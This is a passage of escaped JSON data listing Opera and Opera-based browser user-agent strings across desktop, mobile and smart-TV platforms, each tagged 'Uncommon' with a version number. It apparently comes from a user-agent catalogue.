(Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/60.0.3112.90 Safari\\/537.36 OPR\\/47.0.2631.71\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.107 Safari\\/537.36 OPR\\/31.0.1889.99\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36 OPR\\/30.1835.49 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; U; en) Presto\\/2.9.168 Version\\/11.51\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.35\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux i686; U; fr) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.50 (Edition Campaign 76)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64; U; en) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2785.143 Safari\\/537.36 OPR\\/40.0.2308.90\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/48.0.2564.82 Safari\\/537.36 OPR\\/35.0.2066.37\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.48\"},{\"commonality\":\"Uncommon\",\"version\":\"15\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/28.0.1500.20 Safari\\/537.36  OPR\\/15.0.1147.18 (Edition Next)\"},{\"commonality\":\"Uncommon\",\"version\":\"17\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/30.0.1599.69 Safari\\/537.36 OPR\\/17.0.1241.45\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1889.151\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; Edition Next) Presto\\/2.12.388 Version\\/12.15\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows NT 4.0; U; en) Presto\\/2.6.30 Version\\/10.63\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 5.0; RCT6773W22B Build\\/LRX21M) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.78 Safari\\/537.36 OPR\\/30.0.1856.93524\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Opera\\/7.11 (Windows NT 5.1; U) [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.89 Safari\\/537.36 OPR\\/28.0.1750.48 (Edition Campaign 22)\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.94 Safari\\/537.36 OPR\\/49.0.2725.64 (Edition Campaign 75)\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.107 Safari\\/537.36 OPR\\/31.0.1889.99\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.62 Safari\\/537.36 OPR\\/49.0.2725.34\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_4) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.87 Safari\\/537.36 OPR\\/37.0.2178.32\"},{\"commonality\":\"Uncommon\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Linux; U; Android 4.4.3;) AppleWebkit\\/534.30 (KHTML, like Gecko) Version\\/4.0 Mobile Safari\\/534.30 Opera News\\/1.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; WOW64; Edition Yx) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.57 Safari\\/537.36 OPR\\/16.0.1196.73\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (X11; Linux i686; U; ja) Presto\\/2.7.62 Version\\/11.01\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64; U; Edition Next; en) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.19 Safari\\/537.36 OPR\\/44.0.2505.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.0; Win64; x64) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.57 Safari\\/537.36 OPR\\/16.0.1196.73\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.118 Safari\\/537.36 OPR\\/28.0.1750.51\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.82 Safari\\/537.36 OPR\\/39.0.2256.48\"},{\"commonality\":\"Uncommon\",\"version\":\"49\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/62.0.3202.89 Safari\\/537.36 OPR\\/49.0.2725.47\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.89\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l;  HbbTV\\/1.1.1 (; Philips; ; ; PHILIPSTV; ) CE-HTML\\/1.0 NETTV\\/4.3.2 PHILIPSTV\\/2.1.1 Firmware\\/003.010.000.001 (PhilipsTV, 2.1.1,) en) Presto\\/2.12.362 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"29\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/42.0.2311.152 Safari\\/537.36 OPR\\/29.0.1803.0 OMI\\/4.5.23.37.ALSAN5.131\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36 OPR\\/33.0.1990.58\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.89 Safari\\/537.36 OPR\\/28.0.1750.48\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2471.2 Safari\\/537.36 OPR\\/33.0.1967.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB95\\/3.6.3.J (HITACHI, Si2157LG32, wired)\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.898\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Linux i686; U;  Amino; en) Presto\\/2.10.250 Version\\/11.60\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.80 Safari\\/537.36 OPR\\/33.0.1990.87\"},{\"commonality\":\"Uncommon\",\"version\":\"37\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/50.0.2661.102 Safari\\/537.36 OPR\\/37.0.2178.54\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Mozilla\\/4.0 (compatible; MSIE 6.0; MSIE 5.5; Windows NT 4.0) Opera 7.0 [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.37\"},{\"commonality\":\"Uncommon\",\"version\":\"8\",\"ua\":\"SonyEricssonP1i\\/R100 Mozilla\\/4.0 (compatible; MSIE 6.0; Symbian OS; 768) Opera 8.65 [en]\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2824.2 Safari\\/537.36 OPR\\/41.0.2329.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2398.0 Safari\\/537.36 OPR\\/31.0.1876.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.46\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.888\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.39\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; en) Presto\\/2.2.15 Version\\/10.00\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.0.2743.116 Safari\\/537.36 OPR\\/39.0.2256.71\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36 OPR\\/42.0.2393.85\"},{\"commonality\":\"Uncommon\",\"version\":\"16\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/29.0.1547.57 Safari\\/537.36 OPR\\/16.0.1196.62\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (S60; SymbOS; Opera Mobi\\/SYB-1104061449; U; da) Presto\\/2.7.81 Version\\/11.00\"},{\"commonality\":\"Uncommon\",\"version\":\"52\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/65.0.3325.181 Safari\\/537.36 OPR\\/52.0.2871.64\"},{\"commonality\":\"Uncommon\",\"version\":\"35\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) OPR\\/35.0\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; U; Linux x86_64) Presto\\/2.9.181 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.110 Safari\\/537.36 OPR\\/45.0.2552.881\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.119 Safari\\/537.36 OPR\\/51.0.2830.26\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Android 2.3.3; Linux; Opera Mobi\\/ADR-1301080958) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"45\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/58.0.3029.81 Safari\\/537.36 OPR\\/45.0.2552.635\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.00 (Windows NT 4.0; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.25\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.89 Safari\\/537.36 OPR\\/28.0.1750.48\"},{\"commonality\":\"Uncommon\",\"version\":\"22\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/35.0.1916.153 Safari\\/537.36 OPR\\/22.0.1471.70 (Edition Yx)\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2700.0 Safari\\/537.36 OPR\\/38.0.2213.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (X11; U; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36 OPR\\/42.0.2393.85\"},{\"commonality\":\"Uncommon\",\"version\":\"28\",\"ua\":\"Mozilla\\/5.0 (Linux; BRAVIA 2015 Build\\/LMY48E.S265) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/41.0.2272.101 Safari\\/537.36 OPR\\/28.0.1754.0 OMI\\/4.4.22.20.E102586-1.136\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.2) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Uncommon\",\"version\":\"39\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/52.2743.82 Safari\\/537.36 OPR\\/39.0.2256.43\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.115 Safari\\/537.36 OPR\\/46.0.2597.57\"},{\"commonality\":\"Uncommon\",\"version\":\"46\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/59.0.3071.86 Safari\\/537.36 OPR\\/46.0.2597.26\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36 OPR\\/30.0.1835.49\"},{\"commonality\":\"Uncommon\",\"version\":\"24\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/37.0.2062.117 Safari\\/537.36 OPR\\/24.0.1565.82529\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (MTK; Nucleus; U; en-US) Presto\\/2.4.18 Version\\/10.00\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/ 12.0(x11; Linux x86_64; U; Linux Mint; en) Presto\\/2.2.15 Version\\/12.0\"},{\"commonality\":\"Uncommon\",\"version\":\"20\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/33.0.1750.46 Safari\\/537.36 OPR\\/20.0.1387.16 (Edition Developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"44\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/57.0.2987.133 Safari\\/537.36 OPR\\/44.0.2510.1218\"},{\"commonality\":\"Uncommon\",\"version\":\"38\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/51.0.2700.0 Safari\\/537.36 OPR\\/38.0.2213.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"14\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.2.2; Nexus 7 Build\\/JDQ39) AppleWebKit\\/537.22 (KHTML, like Gecko) Chrome\\/25.0.1364.123 Safari\\/537.22 OPR\\/14.0.1025.52315\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.87 Safari\\/537.36 OPR\\/43.0.2442.1144\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.0.39.18 (LUXOR, Mxl661L32, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"51\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_13_3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/64.0.3282.168 Safari\\/537.36 OPR\\/51.0.2830.40\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; Win64; x64; Edition Yx) Presto\\/2.12.388 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.7.3; U; en) Presto\\/2.10.229 Version\\/11.61\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.87 Safari\\/537.36 OPR\\/42.0.2393.94\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.52 Safari\\/537.36 OPR\\/31.0.1889.50 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.2357.125 Safari\\/537.36 OPR\\/30.0.1835.88\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux i686; Opera Mobi\\/46154; MeeGo) Presto\\/2.11.355 Version\\/12.10\"},{\"commonality\":\"Uncommon\",\"version\":\"10\",\"ua\":\"Opera\\/9.80 (Windows NT 5.0; U; en) Presto\\/2.6.30 Version\\/10.63\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux mips; ) Presto\\/2.12.407 Version\\/12.51 MB97\\/0.45.23.11 (JVC, Mxl661236_, wireless) VSTVB_MB97  SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Linux armv7l; U;  CE-HTML\\/1.0 NETTV\\/4.1.1; en) Presto\\/2.10.287 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.4.11; U; en) Presto\\/2.7.62 Version\\/11.00\"},{\"commonality\":\"Uncommon\",\"version\":\"40\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/53.0.2756.0 Safari\\/537.36 OPR\\/40.0.2267.0 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.2) Presto\\/2.12.388 Version\\/12.18\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 5.1; Edition Yx) Presto\\/2.12.388 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"34\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/47.0.2526.73 Safari\\/537.36 OPR\\/34.0.2036.41\"},{\"commonality\":\"Uncommon\",\"version\":\"36\",\"ua\":\"Mozilla\\/5.0 (Windows NT 5.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/49.0.2623.87 Safari\\/537.36 OPR\\/36.0.2130.46\"},{\"commonality\":\"Uncommon\",\"version\":\"33\",\"ua\":\"Mozilla\\/5.0 (X11; Linux x86_64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/46.0.2490.64 Safari\\/537.36 OPR\\/33.0.2002.97617\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Macintosh; Intel Mac OS X 10.8.2) Presto\\/2.12.388 Version\\/12.14\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; Edition Next; en) Presto\\/2.10.289 Version\\/12.00\"},{\"commonality\":\"Uncommon\",\"version\":\"42\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/55.0.2883.75 Safari\\/537.36 OPR\\/42.0.2393.85\"},{\"commonality\":\"Uncommon\",\"version\":\"18\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/31.0.1612.2 Safari\\/537.36 OPR\\/18.0.1258.1 (Edition Developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.25 (Windows NT 6.0; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"9\",\"ua\":\"Opera\\/9.23 (Windows NT 5.1; U; en)\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.59 Safari\\/537.36 OPR\\/41.0.2353.46\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Opera\\/9.80 (Windows NT 6.1; U; ja) Presto\\/2.10.229 Version\\/11.61\"},{\"commonality\":\"Uncommon\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (compatible; MSIE 9.0; Windows NT 6.1; de) Opera 11.51\"},{\"commonality\":\"Uncommon\",\"version\":\"32\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/45.0.2454.93 Safari\\/537.36 OPR\\/32.0.1948.69\"},{\"commonality\":\"Uncommon\",\"version\":\"30\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.3; WOW64) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/43.0.2357.81 Safari\\/537.36 OPR\\/30.1835.49 (Edition beta)\"},{\"commonality\":\"Uncommon\",\"version\":\"12\",\"ua\":\"Opera\\/9.80 (X11; Linux x86_64) Presto\\/2.12.388 Version\\/12.11\"},{\"commonality\":\"Uncommon\",\"version\":\"7\",\"ua\":\"Opera\\/7.54 (Windows NT 5.1; U)  [pl]\"},{\"commonality\":\"Uncommon\",\"version\":\"41\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/54.0.2840.87 Safari\\/537.36 OPR\\/41.0.2353.56\"},{\"commonality\":\"Uncommon\",\"version\":\"31\",\"ua\":\"Mozilla\\/5.0 (Linux armv7l) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/44.0.2403.130 Safari\\/537.36 OPR\\/31.0.1890.0 OMI\\/4.6.1.40.Dominik2.191 VSTVB MB100 FVC\\/1.0 (TECHWOOD; MB110; ) HbbTV\\/1.3.1 (; TECHWOOD; MB110; 2.21.24.0; ;) SmartTvA\\/3.0.0\"},{\"commonality\":\"Uncommon\",\"version\":\"26\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/39.0.2171.27 Safari\\/537.36 OPR\\/26.0.1656.5 (Edition developer)\"},{\"commonality\":\"Uncommon\",\"version\":\"43\",\"ua\":\"Mozilla\\/5.0 (X11; Linux i686) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/56.0.2924.76 Safari\\/537.36 OPR\\/43.0.2442.806\"},{\"commonality\":\"Uncommon\",\"version\":\"48\",\"ua\":\"Mozilla\\/5.0 (Windows NT 10.0) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/61.0.3163.100 Safari\\/537.36 OPR\\/48.0.2685.39\"},{\"commonality\":\"Uncommon\",\"version\":\"19\",\"ua\":\"Mozilla\\/5.0 (Linux; Android 4.1.2; Nokia_XL Build\\/JZO54K) AppleWebKit\\/537.36 (KHTML, like Gecko) Chrome\\/32.0.1700.72 